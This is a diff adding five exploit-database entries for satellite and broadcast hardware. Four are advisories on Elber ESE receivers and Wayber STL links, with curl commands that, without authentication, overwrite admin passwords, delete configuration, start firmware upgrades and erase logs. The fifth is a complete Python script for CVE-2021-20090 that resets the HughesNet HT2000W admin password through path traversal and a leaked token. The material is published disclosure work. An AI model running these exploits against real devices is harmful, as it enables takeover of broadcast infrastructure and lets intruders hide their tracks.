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68 changes: 68 additions & 0 deletions exploits/hardware/webapps/52069.txt
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Elber ESE DVB-S/S2 Satellite Receiver 1.5.x Authentication Bypass


Vendor: Elber S.r.l.
Product web page: https://www.elber.it
Affected version: 1.5.179 Revision 904
1.5.56 Revision 884
1.229 Revision 440

Summary: ESE (Elber Satellite Equipment) product line, designed for the
high-end radio contribution and distribution market, where quality and
reliability are most important. The Elber IRD (Integrated Receiver Decoder)
ESE-01 offers a professional audio quality (and composite video) at an
excellent quality/price ratio. The development of digital satellite contribution
networks and the need to connect a large number of sites require a cheap
but reliable and performing satellite receiver with integrated decoder.

Desc: The device suffers from an authentication bypass vulnerability through
a direct and unauthorized access to the password management functionality. The
issue allows attackers to bypass authentication by manipulating the set_pwd
endpoint that enables them to overwrite the password of any user within the
system. This grants unauthorized and administrative access to protected areas
of the application compromising the device's system security.

--------------------------------------------------------------------------
/modules/pwd.html
------------------
50: function apply_pwd(level, pwd)
51: {
52: $.get("json_data/set_pwd", {lev:level, pass:pwd},
53: function(data){
54: //$.alert({title:'Operation',text:data});
55: show_message(data);
56: }).fail(function(error){
57: show_message('Error ' + error.status, 'error');
58: });
59: }

--------------------------------------------------------------------------

Tested on: NBFM Controller
embOS/IP


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience


Advisory ID: ZSL-2024-5820
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2024-5820.php


18.08.2023

--


$ curl -s http://[TARGET]/json_data/set_pwd?lev=2&pass=admin1234

Ref (lev param):

Level 7 = SNMP Write Community (snmp_write_pwd)
Level 6 = SNMP Read Community (snmp_read_pwd)
Level 5 = Custom Password? hidden. (custom_pwd)
Level 4 = Display Password (display_pwd)?
Level 2 = Administrator Password (admin_pwd)
Level 1 = Super User Password (puser_pwd)
Level 0 = User Password (user_pwd)
69 changes: 69 additions & 0 deletions exploits/hardware/webapps/52070.txt
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Elber ESE DVB-S/S2 Satellite Receiver 1.5.x Device Config


Vendor: Elber S.r.l.
Product web page: https://www.elber.it
Affected version: 1.5.179 Revision 904
1.5.56 Revision 884
1.229 Revision 440

Summary: ESE (Elber Satellite Equipment) product line, designed for the
high-end radio contribution and distribution market, where quality and
reliability are most important. The Elber IRD (Integrated Receiver Decoder)
ESE-01 offers a professional audio quality (and composite video) at an
excellent quality/price ratio. The development of digital satellite contribution
networks and the need to connect a large number of sites require a cheap
but reliable and performing satellite receiver with integrated decoder.

Desc: The device suffers from an unauthenticated device configuration and
client-side hidden functionality disclosure.

Tested on: NBFM Controller
embOS/IP


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience


Advisory ID: ZSL-2024-5821
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2024-5821.php


18.08.2023

--


# Config fan
$ curl 'http://TARGET/json_data/fan?fan_speed=&fan_target=&warn_temp=&alarm_temp='
Configuration applied

# Delete config
$ curl 'http://TARGET/json_data/conf_cmd?index=4&cmd=2'
File delete successfully

# Launch upgrade
$ curl 'http://TARGET/json_data/conf_cmd?index=4&cmd=1'
Upgrade launched Successfully

# Log erase
$ curl 'http://TARGET/json_data/erase_log.js?until=-2'
Logs erased

# Until:
# =0 ALL
# =-2 Yesterday
# =-8 Last week
# =-15 Last two weeks
# =-22 Last three weeks
# =-31 Last month

# Set RX config
$ curl 'http://TARGET/json_data/NBFMV2RX.setConfig?freq=2480000&freq_offset=0&mute=1&sq_thresh=-90.0&dec_mode=0&lr_swap=0&preemph=0&preemph_const=0&deemph=0&deemph_const=1&ch_lr_enable=0&ch_r_gain=0.0&ch_l_gain=0.0&ch_adj_ctrl=0&ch_lr_att=1&mpxdig_att=0&pilot_trim=0.0&mpxdig_gain=0.0&rds_trim=0.0&delay_enable=0&local_rds=0&output_delay=0&pi_code=0___&mpx1_enable=1&mpx2_enable=1&sca1_enable=1&sca2_enable=0&mpx1_att=0&mpx2_att=0&sca1_att=0&sca2_att=0&mpx1_gain=0.0&mpx2_gain=0.0&sca1_gain=0.0&sca2_gain=0.0&limiter_enable=false&lim_1_gain=0.0+dB&lim_1_th=0.0+kHz&lim_1_alpha=0.0+%25&setupTime=0.0+ms&holdTime=0.0+ms&releaseFactor=0.0+dB%2Fsec&lim_2_en=false&lim_2_gain=0.0+dB&lim_2_th=0.0+kHz&rds_gen=false&rt_PI=&rt_PS=&rt_plus_en=false&rt_line_A=&rt_line_B=&rt_AF=&rf_trap=0&output_trap=0'
RX Config Applied Successfully

# Show factory window and FPGA upload (Console)
> cleber_show_factory_wnd()

# Etc.
70 changes: 70 additions & 0 deletions exploits/hardware/webapps/52071.txt
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Elber Wayber Analog/Digital Audio STL 4.00 Authentication Bypass


Vendor: Elber S.r.l.
Product web page: https://www.elber.it
Affected version: Version 3.0.0 Revision 1553 (Firmware Ver. 4.00 Rev. 1501)
Version 3.0.0 Revision 1542 (Firmware Ver. 4.00 Rev. 1516)
Version 3.0.0 Revision 1530 (Firmware Ver. 4.00 Rev. 1516)
Version 3.0.0 Revision 1530 (Firmware Ver. 4.00 Rev. 1501)
Version 3.0.0 Revision 1480 (Firmware Ver. 3.00 Rev. 1350)
Version 3.0.0 Revision 1480 (Firmware Ver. 3.00 Rev. 1342)
Version 1.0.0 Revision 1202 (Firmware Ver. 2.00 Rev. 2131)

Summary: Wayber II is the name of an analogue/digital microwave link
able to transport a Mono or a MPX stereo signal from studio to audio
transmitter. Compact and reliable, it features very high quality and
modern technology both in signal processing and microwave section leading
to outstanding performances.

Desc: The device suffers from an authentication bypass vulnerability through
a direct and unauthorized access to the password management functionality. The
issue allows attackers to bypass authentication by manipulating the set_pwd
endpoint that enables them to overwrite the password of any user within the
system. This grants unauthorized and administrative access to protected areas
of the application compromising the device's system security.

--------------------------------------------------------------------------
/modules/pwd.html
------------------
50: function apply_pwd(level, pwd)
51: {
52: $.get("json_data/set_pwd", {lev:level, pass:pwd},
53: function(data){
54: //$.alert({title:'Operation',text:data});
55: show_message(data);
56: }).fail(function(error){
57: show_message('Error ' + error.status, 'error');
58: });
59: }

--------------------------------------------------------------------------

Tested on: NBFM Controller
embOS/IP


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience


Advisory ID: ZSL-2024-5822
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2024-5822.php


18.08.2023

--


$ curl -s http://[TARGET]/json_data/set_pwd?lev=2&pass=admin1234

Ref (lev param):

Level 7 = SNMP Write Community (snmp_write_pwd)
Level 6 = SNMP Read Community (snmp_read_pwd)
Level 5 = Custom Password? hidden. (custom_pwd)
Level 4 = Display Password (display_pwd)?
Level 2 = Administrator Password (admin_pwd)
Level 1 = Super User Password (puser_pwd)
Level 0 = User Password (user_pwd)
71 changes: 71 additions & 0 deletions exploits/hardware/webapps/52072.txt
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Elber Wayber Analog/Digital Audio STL 4.00 Device Config


Vendor: Elber S.r.l.
Product web page: https://www.elber.it
Affected version: Version 3.0.0 Revision 1553 (Firmware Ver. 4.00 Rev. 1501)
Version 3.0.0 Revision 1542 (Firmware Ver. 4.00 Rev. 1516)
Version 3.0.0 Revision 1530 (Firmware Ver. 4.00 Rev. 1516)
Version 3.0.0 Revision 1530 (Firmware Ver. 4.00 Rev. 1501)
Version 3.0.0 Revision 1480 (Firmware Ver. 3.00 Rev. 1350)
Version 3.0.0 Revision 1480 (Firmware Ver. 3.00 Rev. 1342)
Version 1.0.0 Revision 1202 (Firmware Ver. 2.00 Rev. 2131)

Summary: Wayber II is the name of an analogue/digital microwave link
able to transport a Mono or a MPX stereo signal from studio to audio
transmitter. Compact and reliable, it features very high quality and
modern technology both in signal processing and microwave section leading
to outstanding performances.

Desc: The device suffers from an unauthenticated device configuration and
client-side hidden functionality disclosure.

Tested on: NBFM Controller
embOS/IP


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience


Advisory ID: ZSL-2024-5823
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2024-5823.php


18.08.2023

--


# Config fan
$ curl 'http://TARGET/json_data/fan?fan_speed=&fan_target=&warn_temp=&alarm_temp='
Configuration applied

# Delete config
$ curl 'http://TARGET/json_data/conf_cmd?index=4&cmd=2'
File delete successfully

# Launch upgrade
$ curl 'http://TARGET/json_data/conf_cmd?index=4&cmd=1'
Upgrade launched Successfully

# Log erase
$ curl 'http://TARGET/json_data/erase_log.js?until=-2'
Logs erased

# Until:
# =0 ALL
# =-2 Yesterday
# =-8 Last week
# =-15 Last two weeks
# =-22 Last three weeks
# =-31 Last month

# Set RX config
$ curl 'http://TARGET/json_data/NBFMV2RX.setConfig?freq=2480000&freq_offset=0&mute=1&sq_thresh=-90.0&dec_mode=0&lr_swap=0&preemph=0&preemph_const=0&deemph=0&deemph_const=1&ch_lr_enable=0&ch_r_gain=0.0&ch_l_gain=0.0&ch_adj_ctrl=0&ch_lr_att=1&mpxdig_att=0&pilot_trim=0.0&mpxdig_gain=0.0&rds_trim=0.0&delay_enable=0&local_rds=0&output_delay=0&pi_code=0___&mpx1_enable=1&mpx2_enable=1&sca1_enable=1&sca2_enable=0&mpx1_att=0&mpx2_att=0&sca1_att=0&sca2_att=0&mpx1_gain=0.0&mpx2_gain=0.0&sca1_gain=0.0&sca2_gain=0.0&limiter_enable=false&lim_1_gain=0.0+dB&lim_1_th=0.0+kHz&lim_1_alpha=0.0+%25&setupTime=0.0+ms&holdTime=0.0+ms&releaseFactor=0.0+dB%2Fsec&lim_2_en=false&lim_2_gain=0.0+dB&lim_2_th=0.0+kHz&rds_gen=false&rt_PI=&rt_PS=&rt_plus_en=false&rt_line_A=&rt_line_B=&rt_AF=&rf_trap=0&output_trap=0'
RX Config Applied Successfully

# Show factory window and FPGA upload (Console)
> cleber_show_factory_wnd()

# Etc.
96 changes: 96 additions & 0 deletions exploits/hardware/webapps/52073.py
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# Exploit Title: HughesNet HT2000W Satellite Modem (Arcadyan httpd 1.0) - Password Reset
# Date: 7/16/24
# Exploit Author: Simon Greenblatt <simongreenblatt[at]protonmail.com>
# Vendor: HughesNet
# Version: Arcadyan httpd 1.0
# Tested on: Linux
# CVE: CVE-2021-20090

import sys
import requests
import re
import base64
import hashlib
import urllib

red = "\033[0;41m"
green = "\033[1;34;42m"
reset = "\033[0m"

def print_banner():
print(green + '''
_____________ _______________ _______________ ________ ____ _______________ _______ _______________
\_ ___ \ \ / /\_ _____/ \_____ \ _ \ \_____ \/_ | \_____ \ _ \ \ _ \/ __ \ _ \
/ \ \/\ Y / | __)_ ______ / ____/ /_\ \ / ____/ | | ______ / ____/ /_\ \/ /_\ \____ / /_\ \
\ \____\ / | \ /_____/ / \ \_/ \/ \ | | /_____/ / \ \_/ \ \_/ \ / /\ \_/ \
\______ / \___/ /_______ / \_______ \_____ /\_______ \|___| \_______ \_____ /\_____ //____/ \_____ /
\/ \/ \/ \/ \/ \/ \/ \/ \/ \n''' + reset)
print(" Administrator password reset for HughesNet HT2000W Satellite Modem")
print('''
Usage: python3 hughes_ht2000w_pass_reset.py <password> <ip_address>
<password>: The new administrator password
<ip_address>: The IP address of the web portal. If none is provided, the script will default to 192.168.42.1\n
This script takes advantage of CVE-2021-20090, a path traversal vulnerability in the HTTP daemon of the HT2000W modem to reset
the administrator password of the configuration portal. It also takes advantage of other vulnerabilities in the device such as
improper use of httokens for authentication and the portal allowing the MD5 hash of the password to be leaked.''')
return None

def get_httoken(ip_address):
# Make a GET request to system_p.htm using path traversal
r = requests.get(f'http://{ip_address}/images/..%2fsystem_p.htm')
if r.status_code != 200:
print(red + f"(-) Failure: Could not request system_p.htm" + reset)
exit()
# Extract the httoken hidden in the DOM and convert it from Base64
return base64.b64decode(re.search(r'AAAIBRAA7(.*?)"', r.text).group(1)).decode('ascii')

def encode_pass(password):
# Vigenere Cipher
key = "wg7005d"
enc_pass = ""
idx = 0
for c in password:
enc_pass += str(ord(c) + ord(key[idx])) + "+"
idx = (idx + 1) % len(key)
return enc_pass

def change_pass(ip_address, httoken, enc_pass):
# Create a POST request with the httoken and the encoded password
headers = {'Content-Type': 'application/x-www-form-urlencoded', 'Referer': f'http://{ip_address}/system_p.htm'}
payload = {'action': 'ui_system_p', 'httoken': httoken, 'submit_button': 'system_p.htm', 'ARC_SYS_Password': enc_pass}
payload = urllib.parse.urlencode(payload, safe=':+')
try:
r = requests.post(f'http://{ip_address}/images/..%2fapply_abstract.cgi', data = payload, headers = headers)
except:
pass
return None

def verify_pass(ip_address, new_pass):
# Make a GET request to cgi_sys_p.js to verify password
httoken = get_httoken(ip_address)
headers = {'Referer': f'http://{ip_address}/system_p.htm'}
r = requests.get(f'http://{ip_address}/images/..%2fcgi/cgi_sys_p.js?_tn={httoken}', headers = headers)
if r.text.split('"')[5] != hashlib.md5(bytes(new_pass, 'ascii')).hexdigest():
print(red + "(-) Failure: Could not verify the hash of the password" + reset)
exit()

def main():
if not (len(sys.argv) == 2 or len(sys.argv) == 3):
print_banner()
return
new_pass = sys.argv[1]
ip_address = "192.168.42.1"
if sys.argv == 3:
ip_address = sys.argv[2]
httoken = get_httoken(ip_address)
print(f"[+] Obtained httoken: {httoken}")
enc_pass = encode_pass(new_pass)
change_pass(ip_address, httoken, enc_pass)
print(f"[+] Password reset to: {new_pass}")
verify_pass(ip_address, new_pass)
print("[+] Verified password hash: " + hashlib.md5(bytes(new_pass, 'ascii')).hexdigest())
print("[+] Password successfully changed!")
return

if __name__ == '__main__':
main()
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